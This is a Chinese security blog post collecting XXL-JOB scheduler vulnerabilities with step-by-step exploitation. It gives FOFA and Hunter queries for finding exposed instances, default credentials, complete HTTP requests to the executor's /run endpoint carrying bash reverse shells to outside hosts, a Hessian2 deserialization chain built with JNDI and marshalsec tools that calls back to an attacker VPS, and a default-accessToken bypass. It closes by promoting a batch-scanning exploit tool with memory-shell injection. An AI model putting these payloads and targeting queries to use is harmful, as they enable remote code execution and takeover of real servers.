XXL-JOB常见漏洞汇总|XXL-JOB工具、POC 与批量检测

前言

XXL-JOB作为一款轻量级分布式任务调度平台被越来越多企业采用。,在实际部署过程中,由于配置疏忽或版本漏洞,存在被攻击者利用的风险。本文整理并复现了多个XXL-JOB常见安全漏洞,包括弱口令、未授权访问、反序列化漏洞等,旨在为安全研究者和开发者提供参考。

参考文章:

https://docs.qq.com/sheet/DWE1hQXRyWVZ2dmpB?tab=BB08J2

漏洞详情

XXL-JOB官网地址

https://www.xuxueli.com/xxl-job/

1760430139_68ee083bbb74d74bbbfc7.png!small?1760430139567

1760430148_68ee08441b85a8a44575f.png!small?1760430147820

资产测绘

fofa语法:

app.name="XXL-JOB" 
title="任务调度中心"
body="jobconf_trigger_type"
web.icon=="421c7c35244591f892496fe4d6e51921"
body="{\"code\":500,\"msg\":\"invalid request, HttpMethod not support.\"}"
app.name="XXL-JOB"||title="任务调度中心"||body="jobconf_trigger_type"||web.icon=="421c7c35244591f892496fe4d6e51921"

1760430184_68ee0868221c61b4c501b.png!small?1760430184212

hunter语法:

​app.name="XXL-JOB" 
title="任务调度中心"
body="jobconf_trigger_type"
web.icon=="421c7c35244591f892496fe4d6e51921"
body="{\"code\":500,\"msg\":\"invalid request, HttpMethod not support.\"}"
app.name="XXL-JOB"||title="任务调度中心"||body="jobconf_trigger_type"||web.icon=="421c7c35244591f892496fe4d6e51921"

1760430208_68ee088010841ba3dd6dc.png!small?1760430208096

弱口令漏洞

XXL-JOB 是一款基于 Java 开发的轻量级分布式任务调度平台,广泛应用于任务管理和调度。然而,若使用默认弱口令(如 admin/123456),可能导致严重的安全隐患,攻击者可通过后台权限执行任意代码甚至接管服务器。

漏洞复现

访问url地址看到这个页面可以直接确定是xxl-job

1760430374_68ee0926cb60f29d2511c.png!small?1760430374480

输入弱口令
admin/123456 成功进入后台

1760430454_68ee097653e20cba3e57f.png!small?1760430454071

有些情况可以配合后台漏洞进行getshell

XXL-JOB executor 未授权访问漏洞

漏洞描述

XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令。

漏洞复现

直接访问靶场地址可以看到XXL-JOB 页面

1760430641_68ee0a31b1cda07310b6e.png!small?1760430642588

直接使用XXL-JOB executor 未授权访问漏洞的poc进行测试
因为是靶场我这里直接反弹shell,如果是实战的话可以执行命令访问dnslog地址或者
创建文件等操作,规避高风险操作。

首先使用tscan-plus生成反弹shell的poc

/bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1 #127.0.0.1替换为vps地址 8888替换为vps监听端口

1760430879_68ee0b1f2bade67678ae5.png!small?1760430878964

然后服务器开启监听即可

nc -lvvp 8888

1760430985_68ee0b891404a7a83affd.png!small?1760430984760

漏洞poc

POST /run HTTP/1.1
Host:127.0.0.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 365

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "/bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

1760431054_68ee0bcedd1a6a9804c50.png!small?1760431054792

成功getshell

1760431089_68ee0bf1743afa5fa0f74.png!small?1760431089240

XXL-JOB 任务调度中心 后台任意命令执行漏洞

漏洞描述

XXL-JOB 任务调度中心攻击者可以在后台可以通过写入 shell 命令任务调度获取服务器权限

漏洞复现

使用默认口令admin/123456登录之后来到任务管理处,按照蓝色箭头进行配置

1760431426_68ee0d42f03a9424dc5c3.png!small?1760431426730

注意运行模式需要为 GLUE(shell)

1760431461_68ee0d65988008adba18c.png!small?1760431461358

点击 GLUE IDE 编辑脚本

1760431478_68ee0d762ba4efb7a059b.png!small?1760431477811

回到任务管理器,选择任务,点击操作执行一次,之后查看dnslog服务器

1760431496_68ee0d8853114b9f8bd15.png!small?1760431496201

结果说明本台服务器即出网又可以命令执行,直接尝试反弹shell,修改glue ide脚本为反弹shell内容,然后再执行即可。

poc​​​​​​

#!/bin/bash
bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/9999 <&1'

1760431628_68ee0e0cd0c690538c5cd.png!small?1760431628627

这个漏洞我之前成功过几次,但是没有截图,思路是正确的,可能图有点糊了。

XXL-JOB api未授权hessian2反序列化复现

漏洞描述

XXL-JOB 是一个分布式任务调度平台,其前后端之间通过 Hessian2 序列化协议传输数据,XXL-JOB 的/api接口允许未授权访问,攻击者可以构造恶意的 Hessian2 序列化数据并发送到服务端,导致反序列化漏洞。该漏洞主要影响 XXL-JOB 的早期版本(<= 2.0.2)

漏洞复现

访问链接地址看到XXL-JOB页面且版本较低进行poc尝试

1760431922_68ee0f32b5f07afded8dd.png!small?1760431922338

首先使用工具

工具地址:

https://github.com/welk1n/JNDI-Injection-Exploit
首先在vps执行命令,开启JNDI注入工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 0.0.0.0 -C "curl [Address]:5555"
-A 0.0.0.0: 绑定到所有网络接口(监听所有IP)
-C "curl [Address]:5555": 要执行的恶意命令

当有漏洞的应用进行JNDI查询时服务器会返回恶意Reference客户端会从指定地址加载并执行恶意类最终执行curl [Address]:5555命令

1760432570_68ee11ba112a607a6ac43.png!small?1760432570236

使用最后一个rmi://xxxx,配合下面的工具生成Hessian2反序列化的poc

工具地址​​​​​​

https://github.com/0ofo/marshalsec.jar
使用我这个链就可以
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://[RMI Address]:1099/stbjir >test.ser
marshalsec: 一个知名的Java反序列化漏洞利用工具
Hessian2: 使用Hessian2序列化格式
SpringAbstractBeanFactoryPointcutAdvisor: 利用Spring框架的反序列化gadget链
rmi://[RMI Address]:1099/stbjir: 恶意的RMI服务器地址
> test.ser: 将生成的恶意序列化数据保存到文件
生成恶意序列化数据
创建一个包含恶意指令的Hessian2序列化对象
利用Spring框架的漏洞链实现代码执行
触发攻击
当目标应用反序列化test.ser文件时
会连接到指定的RMI服务器
加载并执行恶意代码

服务器5555端口开启监听

nc -lvvp 5555

1760432883_68ee12f393edaaaba36e6.png!small?1760432883214

最终利用

在包含我们恶意文件的文件夹里面直接右键cmd执行命令
curl -X POST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://localhost:8080/xxl-job-admin/api
curl: 命令行HTTP工具
-X POST: 使用POST方法
-H "Content-Type: x-application/hessian": 设置Content-Type为Hessian格式
--data-binary @test.ser: 上传之前生成的恶意序列化文件
http://localhost:8080/xxl-job-admin/api: 目标接口(XXL-JOB任务调度系统)

打完poc之后发现,vps被成功请求。

1760432980_68ee13543055d827d2647.png!small?1760432979990

我这里只是执行命令curl vps:5555,当然还有很多比较深入的实战利用比如getshell以及换别的链子之类的,大家可以自己进行查找,我这里只做简单分享,简单利用。

XXL-JOB默认accessToken权限绕过漏洞

漏洞描述

XXL-JOB 默认配置下,用于调度通讯的 accessToken 不是随机生成的,而是使用 application.properties 配置文件中的默认值。在实际使用中如果没有修改默认值,攻击者可利用此绕过认证调用 executor,执行任意代码,从而获取服务器权限。

漏洞复现

访问之后可以看到

1760433251_68ee14635361339e972c6.png!small?1760433255625

漏洞复现

直接使用poc访问dnslog地址

POST /run HTTP/1.1
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
User-Agent: Java/1.8.0_391
Host: xx.xx.xx.xx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 323
Connection: close

{"jobId": 287040,"executorHandler": "demoJobHandler","executorParams": "demoJobHandler","executorBlockStrategy": "COVER_EARLY","executorTimeout": 0,"logId": 1,"logDateTime": 1586629003729,"glueType": "GLUE_SHELL","glueSource": "ping 0n3fio.dnslog.cn","glueUpdatetime": 1586699003758,"broadcastIndex": 0,"broadcastTotal": 0}

1760433397_68ee14f5ec03e156a5155.png!small?1760433398062

反弹shell

1760433408_68ee1500860bf016d6ea8.png!small?1760433408282

    /bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1

    反弹shell的poc地址

    POST /run HTTP/1.1
    Content-Type: application/json
    XXL-JOB-ACCESS-TOKEN: default_token
    User-Agent: Java/1.8.0_391
    Host: 123.58.224.8:39234
    Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
    Content-Length: 323
    Connection: close
    
    {"jobId": 287040,"executorHandler": "demoJobHandler","executorParams": "demoJobHandler","executorBlockStrategy": "COVER_EARLY","executorTimeout": 0,"logId": 1,"logDateTime": 1586629003729,"glueType": "GLUE_SHELL","glueSource": "/bin/bash -i >& /dev/tcp/118.89.79.204/7889 0>&1","glueUpdatetime": 1586699003758,"broadcastIndex": 0,"broadcastTotal": 0}

    1760433552_68ee15902c936739c0f5e.png!small?1760433552151

    1760433560_68ee1598337e23fb2ae28.png!small?1760433560061

    XXL-JOB案例实战

    通过指纹探测或其他方法获取XXL-JOB目标后,进行访问可以看到登录页面,这个漏洞的简单利用,使用工具完全可以部分情况需要手动打poc比如内网等,这里我直接使用工具进行测试

    1760433651_68ee15f3c84aa7fea8196.png!small?1760433651372

    直接工具进行检测

    1760433675_68ee160bdcd4acc118888.png!small?1760433676113

    然后执行命令测试

    1760433698_68ee1622095aaff73fbc2.png!small?1760433697955

    反弹shell测试

    使用tscan进行反弹shell的payload生成

    1760433729_68ee16412aa2affe7d8ea.png!small?1760433728923

    反弹shell

    /bin/bash -i >& /dev/tcp/xxxx/7889 0>&1

    接受shell

    nc -lvvp 7889

    1760433783_68ee167758e8566cc8d97.png!small?1760433783350

    工具推荐

    XXL-JOB ExploitGUI

    工具简介
    工具支持检测XXL-JOB多种常见漏洞,并且支持多种利用方式。工具提供直观友好的图像化界面,用户能够轻松进行操作和管理。支持空间测绘、批量扫描功能,用户可以同时对多个目标进行漏洞检测,极大地提高了扫描效率。还支持暂停扫描、终止扫描、自定义多线程扫描、自定义请求头、内置随机User-Agent头、http代理、socks代理、扫描结果导出为表格等等功能。
    工具支持检测模块
    XXL-JOB-Admin 默认登陆密码
    XXL-JOB-Admin 后台RCE  ( 工具支持利用模块 :  内存马注入  )
    XXL-JOB-Admin 前台api未授权 hessian2反序列化  ( 工具支持利用模块 :  命令执行 内存马注入  )
    XXL-JOB-Executor Restful API 未授权访问命令执行  ( 工具支持利用模块 :  命令执行  )
    XXL-JOB-Executor 默认accessToken权限绕过  ( 工具支持利用模块 :  命令执行  )
    工具地址
    https://wx.zsxq.com/group/88885811181452

    单目标检测

    1760433834_68ee16aa17b9c2674a4e9.png!small?1760433834256

    批量检测

    1760433855_68ee16bfeea09d6b1b9b1.png!small?1760433856377

    Hessian2反序列化命令执行

    1760433879_68ee16d74afe2b4f7f643.png!small?1760433879179

    Hessian2反序列化注入内存马

    1760433896_68ee16e8cda7748f9f954.png!small?1760433896730

    其他利用可以看本工具的readme

    当前GITHub仅开源1.5版本并且不再更新

    如需更多综合漏洞利用工具或xxl-jobExploitGUIV1.6更新版本可加入星球获取

    https://wx.zsxq.com/group/88885811181452

    图片

    1760433955_68ee172383ba567d533d6.png!small?1760433958226

    评论
    成就一亿技术人!
    拼手气红包6.0元
    还能输入1000个字符
     
    红包 添加红包
    表情包 插入表情
     条评论被折叠 查看
    添加红包

    请填写红包祝福语或标题

    红包个数最小为10个

    红包金额最低5元

    当前余额3.43前往充值 >
    需支付:10.00
    成就一亿技术人!
    领取后你会自动成为博主和红包主的粉丝 规则
    hope_wisdom
    发出的红包
    实付
    使用余额支付
    点击重新获取
    扫码支付
    钱包余额 0

    抵扣说明:

    1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
    2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

    余额充值